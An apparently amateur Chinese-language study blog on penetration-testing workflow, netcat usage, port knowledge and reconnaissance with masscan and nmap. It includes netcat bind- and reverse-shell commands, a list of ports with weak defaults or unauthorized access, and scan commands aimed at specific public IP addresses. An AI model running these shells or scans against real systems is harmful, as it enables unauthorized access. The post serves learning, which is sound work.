渗透测试流程与标准与信息收集
问题集
渗透的基本概念有哪些?
如何简单能理解服务器架构?如何使用宝塔建站?
渗透测试的流程是什么?
防火墙的基本知识
NC瑞士军刀的使用
信息收集收集什么,怎么收集?
本文按照此问题集进行排序,以问题为导向的思考能更好的帮助我们对知识进行记忆。看完这篇博客如果能凭自己的记忆来将上面的问题回答了。那么恭喜你,你已经成功的把这篇博客的内容串起来了。
本文是一篇网安小白的学习笔记博客,如有错误还请各位大佬指正。写博客是为了帮助自己更好的记忆知识,也方便后续复习。同时也能借助网络的力量发现自己理解的不足并且在讨论的过程中成长。
文章仅学习使用,未经授权请勿利用文章内容进行任何形式的计算机系统入侵操作。利用此文内容造成的直接或者间接后果和损失,均由使用者本人承担。本文仅用于学习,禁止用于其他!!!
1. 基本渗透概念
核心概念
POC
全称’Proof of Concept’,中文’概念验证’,常指一段漏洞证明的代码
EXP
全称’Exploit’,中文’利用’,指利用漏洞进行攻击的动作
Payload
中文’有效荷载’,指成功exploit后,真正在目标系统执行的代码或者指令
Shellcode
简单翻译’shell代码’,是payload的一种,由于其建立正向/反向的shell得名
相关的概念还有很多,更多详细内容请参考这篇博客
2. 服务器架构简单理解
服务器架构的简单理解
客户端(浏览器\APP\PC应用…)<–>服务器(JAVA\PHP\Python\…)<–>数据库(MySQL\Oracle\Excel\…)
3. 渗透测试流程
明确目标
- 根据范围
- 根据类型
信息收集
- 收集的方式
- 主动扫描
- 开放搜索
- 类型
- 基本信息收集(ip、网段、域名、端口)
- 操作系统
- 中间件
- 脚本
- 数据库
- CMS源码
- 社工信息(联系信息、人员信息、公司信息、域名/服务器的注册商)
漏洞验证
- 手工验证(主要)
- 自动化验证
- 登陆猜解
信息分析
- 绕过防御机制(WAF、防火墙)
- 定制攻击路线(内网、间接、直接)
- 绕过检测机制(代码检查)
- 攻击代码
获取所需
- 获取内部信息
- 进一步渗透
- 持续性存在后门
信息整理与报告
形成渗透测试报告
防火墙的基本知识
- 入站规则
通过网络访问信息系统时采取的安全措施,通常包括防火墙、入侵检测系统、防病毒系统、访问控制列表(ACL)和其他安全设备。主要目的是防止未经授权的网络流量进入网络,并阻止传播恶意代码、垃圾邮件及其他危害安全的流量。(简单理解就是通过一定规则来控制访问主机的流量) - 出站规则
在内部向外部发送数据时采取的安全措施。主要是防止未经授权的网络流量从内部网络出发,以及防止数据泄露。出站规则一般包括访问控制列表、加密、防病毒和其他安全设施(简单理解就是通过一定的规则控制从主机出去的网络流量)
nc瑞士军刀的使用
- 简介
NetCat简称NC,在网安界有“瑞士军刀的美称”。可以通过TCP/UDP协议进行读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具。它的英文介绍或许能让我们有更深刻的理解。(netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP.) - 参数
-l:开启监听
-p:指定端口
-t:以telnet形式应答
-e:程序重定向
-n:以数字形式标识ip
-v:显示执行命令的过程
-z:不进行交互,直接输出结果
-u:使用UDP协议进行传输
-w:设置超时时间
-d:后台执行
- 基础使用
- 简单聊天
//服务端
nc.exe -lp 5566
//客户端
nc.exe 127.0.0.1 5566
这就建立了一个简单的聊天窗口,可以通过端口5566进行聊天
- 正向返回shell
//服务端
nc.exe -lp 5566 -e cmd.exe
//客户端
nc.exe [服务端ip] 5566
- 反弹shell
//windows环境下(进入NC所在目录执行命令)
//服务端
nc.exe -lvp 5566
//客户端
nc.exe -e cmd.exe [服务端ip] 5566
//Linux环境下
//服务端
nc -lvp 5566
//客户端
nc -e /bin/hash [服务端ip] 5566
二者都能将shell给到其他电脑并在其他电脑上执行。正向可理解为自己主动把shell从端口传出去,让别人来执行。反弹可理解为开个端口等着别人把shell送上来给自己执行,当然别人也不会无缘无故傻乎乎的就把shell就直接给你了,这时候就肯定得上一点手段了,嘻嘻。
- 文件传输
//客户端传服务端
//服务端
nc.exe -lp 5566 >outfile.txt
//客户端
nc.exe [服务端ip] 5566 <a.txt
//服务端传客户端
//服务端
nc.exe -lp 5566 <outfile.txt
//客户端
nc.exe [服务端ip] 5566 >a.txt
可以将"<"符号看作喇叭,文件从闭口处传到开口处。或许能更好的分辨他们
- 信息探测
端口扫描(kali执行)
nc -n -v -w1 -z [需要扫描的ip] 1-1000
打印Banner(kali执行)
echo " " |nc -n -v -w1 [扫描的ip] 1-1000
基本信息收集(信息收集收集什么,怎么收集?)
信息收集可以用的方法很多,而且各种各样。这里只是随便列举一些方法,不一定对所有网站都适用。可以自己平时多总结信息收集的方法,灵活变通。收集信息也不一定很顺利,也不一定能收集到,没有什么万金油,灵活变通就行
操作系统收集
可通过浏览器自带的检查功能中的网络部分配合刷新进行收集,需要自己有一定的操作系统常识的知识储备。
中间件收集
同上
脚本信息收集
将域名贴到浏览器的搜索框中,在跟上猜测的脚本语言信息。如果搜出来的是各种与域名相关网站,那么基本可以确定脚本信息即为猜测的那个。如果出现的是各种教学的博客等不相关的东西,那么就可以考虑换一个脚本来猜了。
源代码收集
收集当前网站是否使用CRM,或者是其他的源代码生成的。当然也可能有网站会自己把源代码信息放到最下角,直接这样拿到也是一种方法。
数据库信息收集
数据库很难直接看到,一般都是借助工具来扫描端口。通过端口信息来进行判断。
- 常见端口
- web类
80 web
80-89 web
8000-9090 web - 数据库类
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL - 特殊服务类
443 https加密的超文本传输服务
873 Rsync未授权
5984 CouchDB
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列化
9200,9300 elasticsearch 参考WooYun:多玩某服务器ElasticSearch命令执行漏洞
11211 memcahe未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问 - 常用端口类
21 ftp
22 ssh
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
- 端口扫描
- 使用nc扫描
nc -n -v -w1 -z [目标IP] [需要扫描的端口访问或者集合]
- 使用在线工具
在线检测域名或者端口的ip是否开放(http://coolaf.com/tool/port)
域名信息收集
- 通过bing、百度等搜索引擎搜集信息 如:
- 子域名收集
- 使用各种扫描工具进行搜集
如:subDomainBrute工具、御剑、7kbscan等工具进行扫描。请自行到github等平台查找资源。
端口扫描
进行端口扫描的目的:知道上面运行的中间件、程序等信息
- 使用NC,网上的扫描工具扫描
使用nc扫描在上面已经说过,这里不再做过多赘述。
- 使用masscan进行扫描
masscan是kali里面自带的工具,性能比nmap高,可以先用masscan对目标ip(通常为全网段)进行全段扫描,然后在使用nmap对存活的主机的开放端口进行扫描,找出对应端口的服务存在的漏洞。使用masscan扫描的原因是它速度比nmap快。
- 参数
基本扫描参数
-p :指定端口的扫描范围
-iL :从文件中读取目标主机的ip地址
–range :设置扫描的目标ip的范围
扫描速度和性能
–rate :设置扫描速率(数据包/秒)
–max-rate :设置最大扫描速率
–min-rate :设置最小扫描速率
–randomize-hosts :随机扫描目标主机
输出格式
-oL :以普通文本输出结果
-oJ :以JSON格式输出结果
-oG :以Grepable格式输出结果
网络探测
–ping :Ping扫描,检测存活主机
–banners :获取主机服务的横幅信息
基础设置
–adapter :选择网络适配器
–router-mac :指定路由器的MAC地址 - 案例
# 扫描指定端口范围和IP范围
sudo masscan -p 80-90 --range 8.217.43.1-8.217.43.255
# 检查指定范围的主机是否存活
sudo masscan --ping --range 8.217.43.1-8.217.43.255
# 扫描所有端口,设置速率为1000
masscan -p 1-65535 8.217.43.84 --rate 1000
- 补充概念:
C段:同网段下不同的服务器IP下的Web应用查询技术
旁站:同一服务器下的不同网站
- 使用nmap进行扫描
nmap是一款功能强劲的扫描工具,kali里面自带,支持端口扫描、主机探测、服务识别、系统识别。
- 端口扫描
-p 80 #扫描80端口
-p 1-80 #扫描1-80端口
-p 80,3306,22,21 #扫描指定的端口
-p- #等价于扫描1-65535端口
- 主机探测
使用-sP
nmap -sP 8.217.43.84
- 服务识别
使用-sV
namp -sV 8.217.43.84 -p 80
nmap -sV 8.217.43.84
- 系统识别
使用-O
nmap -O 8.217.43.84
nmap -O 8.217.43.84 -p 8080
- 结果导出
nmap -O 8.217.43.84 -oN rere.txt
Web信息刺探
- 网络空间安全搜索引擎收集信息
如使用fofa、zoomeye、shodan等进行信息收集 - 社工信息收集
通过爱企查、企查查、备案信息网站等方式收集网站的社工信息
最后,感谢大家能够读完这篇博客,如有错误还请指正。拜托拜托!